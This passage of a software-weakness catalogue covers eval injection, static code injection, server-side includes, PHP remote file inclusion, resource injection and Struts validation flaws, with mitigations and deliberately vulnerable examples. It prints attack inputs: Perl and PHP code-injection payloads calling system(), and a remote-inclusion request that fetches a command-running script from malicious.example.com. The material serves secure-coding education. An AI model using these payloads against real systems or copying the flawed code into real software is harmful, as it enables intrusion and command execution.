Access Control	Gain Privileges or Assume Identity	
	<i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands	
	<i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities	
	<i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

If possible, refactor your code so that it does not need to use eval() at all.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

### Demonstrative Examples

#### Example 1:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(bad)

```
use CGI qw(:standard); sub config_file_add_key { my ($fname, $key, $arg) = @_; # code to add a field/key to a file goes here }
sub config_file_set_key { my ($fname, $key, $arg) = @_; # code to set key to a particular file goes here }
sub config_file_delete_key { my ($fname, $key, $arg) = @_; # code to delete key from a particular file goes here }
sub handleConfigAction { my ($fname, $action) = @_;my $key = param('key');my $val = param('val'); # this is super-efficient code, especially if you have to invoke # any one of dozens of different functions! my $code = "config_file_$action_key(\$fname, \$key, \$val);";eval($code); }
$configfile = "/home/cwe/config.txt";print header;if (defined(param('action'))){handleConfigAction($configfile, param('action'));}else {print "No action specified!\n";}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config\_file\_add\_key(), config\_file\_set\_key(), or config\_file\_delete\_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(attack)

```
add_key(",",""); system("/bin/lS");
```

This would produce the following string in handleConfigAction():

Example Language:

(result)

```
config_file_add_key(",",""); system("/bin/lS");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "\_key(\\$fname, \\$key, \\$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1559
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1565
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Other

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

#### Research Gap

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID : 96

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	203

ParentOf		97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	214

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** PHP (Prevalence = Undetermined)

**Language :** Perl (Prevalence = Undetermined)

**Language :** Interpreted (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>The injected code could access restricted data / files.</i>	
Access Control	Bypass Protection Mechanism  <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity  <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Confidentiality Availability Other	Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.	
Non-Repudiation	Hide Activities  Often the actions performed by injected control code are unlogged.	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

## Demonstrative Examples

### Example 1:

This example attempts to write user messages to a message file and allow users to view them.

*Example Language: PHP*

*(bad)*

```
$MessageFile = "cwe-94/messages.out";if ($_GET["action"] == "NewMessage") {$name = $_GET["name"];$message = $_GET["message"];$handle = fopen($MessageFile, "a+");fwrite($handle, "<b>$name</b> says '$message'<br>\n");fclose($handle);echo "Message Saved!<p>\n";}else if ($_GET["action"] == "ViewMessages") {include($MessageFile);}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

*Example Language:*

*(attack)*

```
name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

*Example Language:*

*(attack)*

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

### Observed Examples

Reference	Description
<b>CVE-2002-0495</b>	Perl code directly injected into CGI library file from parameters to another CGI program. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495</a>
<b>CVE-2005-1876</b>	Direct PHP code injection into supporting template file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1876">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1876</a>
<b>CVE-2005-1894</b>	Direct code injection into PHP script that can be accessed by attacker. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1894">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1894</a>
<b>CVE-2003-0395</b>	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0395">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0395</a>
<b>CVE-2007-6652</b>	chain: execution after redirect allows non-administrator to perform static code injection. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6652">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6652</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

<b>Weakness ID</b> : 97	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	212

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	1658

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	212

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Implementation

Utilize an appropriate mix of whitelist and blacklist parsing to filter server-side include syntax from all input.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

## Notes

### Relationship

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

## Taxonomy Mappings

## CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

**Weakness ID :** 98  
**Structure :** Simple  
**Abstraction :** Base

**Status:** Draft

### Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

### Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1428
CanPrecede		94	Improper Control of Generation of Code ('Code Injection')	203

## Applicable Platforms

**Language** : PHP (*Prevalence = Often*)

## Alternate Terms

**Remote file include** :

**RFI** : The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

**Local file inclusion** : This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.</i>	

## Detection Methods

### Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

*Effectiveness = High*

### Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could

occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Phase: Architecture and Design**

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Operation**

**Phase: Implementation**

*Strategy = Environment Hardening*

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

**Phase: Operation**

**Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

### Phase: Operation

*Strategy = Environment Hardening*

Set `allow_url_fopen` to false, which limits the ability to include files from remote locations.

*Effectiveness = High*

*Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.*

### Demonstrative Examples

#### Example 1:

The following code, `victim.php`, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied `'module_name'` parameter and appending the string `'/function.php'` to it.

*Example Language: PHP*

*(bad)*

```
$dir = $_GET['module_name'];include($dir . "/function.php");
```

The problem with the above code is that the value of `$dir` is not restricted in any way, and a malicious user could manipulate the `'module_name'` parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (`example.php`) with a `'module_name'` of `"http://malicious.example.com"` by using the following request string:

*Example Language:*

*(attack)*

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set `'module_name'` to the value `"http://malicious.example.com"` and would attempt to include `http://malicious.example.com/function.php`, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of `function.php` looks like the following:

*Example Language:*

*(bad)*

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

*Example Language:*

*(attack)*

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious `function.php` file from the remote site. In turn, this file executes the command specified in the `'cmd'` parameter from the query string. The end result is an attempt by `victim.php` to execute the potentially malicious command, in this case:

Example Language:

(attack)

`/bin/ls -l`

Note that the above PHP example can be mitigated by setting `allow_url_fopen` to false, although this will not fully protect the code. See potential mitigations.

### Observed Examples

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1559
MemberOf	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1565
MemberOf	<b>C</b>	802	2010 Top 25 - Risky Resource Management	800	1582

### Notes

#### Relationship

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role. Can overlap directory traversal in local inclusion problems.

#### Research Gap

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

### Taxonomy Mappings

## CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

<b>Weakness ID</b> : 99	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

### Extended Description

A resource injection issue occurs when the following two conditions are met: An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. This may enable an attacker to access or modify otherwise protected system resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Alternate Terms

**Insecure Direct Object Reference :** OWASP uses this term, although it is effectively the same as resource injection.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Read Files or Directories Modify Files or Directories	
<p><i>An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.</i></p>		

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Demonstrative Examples

#### Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".././tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Example Language: Java

(bad)

```
String rName = request.getParameter("reportName");File rFile = new File("/usr/local/apfr/reports/" + rName);...rFile.delete();
```

### Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

Example Language: C++

(bad)

```
ifstream ifs(argv[0]);string s;ifs >> s;cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1005	7PK - Input Validation and Representation	700	1648

## Notes

### Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

### Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

### Other

A resource injection issue occurs when the following two conditions are met: An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path

manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

## CWE-102: Struts: Duplicate Validation Forms

**Weakness ID :** 102

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

### Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		694	Use of Multiple Resources with Duplicate Identifier	1262
PeerOf		675	Duplicate Operations on Resource	1233

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

### Phase: Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

## Demonstrative Examples

### Example 1:

Two validation forms with the same name.

Example Language: XML

(bad)

```
<form-validation><formset><form name="ProjectForm"> ... </form><form name="ProjectForm"> ... </form></formset></form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

## MemberOf Relationships

MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24		Tainted input to command

## CWE-103: Struts: Incomplete validate() Method Definition

<b>Weakness ID</b> : 103	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

### Extended Description

If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1079

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

## Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

## Potential Mitigations

**Phase: Implementation**

Implement the validate() method and call super.validate() within that method.

## Demonstrative Examples

**Example 1:**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the

user data. The RegistrationForm class implements the validate method to validate the user input entered into the form.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for
registration formprivate String name;private String email;... public RegistrationForm() {super();} public ActionErrors
validate(ActionMapping mapping, HttpServletRequest request) {ActionErrors errors = new ActionErrors();if (getName() ==
null || getName().length() < 1) {errors.add("name", new ActionMessage("error.name.required"));}return errors;} // getter and
setter methods for private variables... }
```

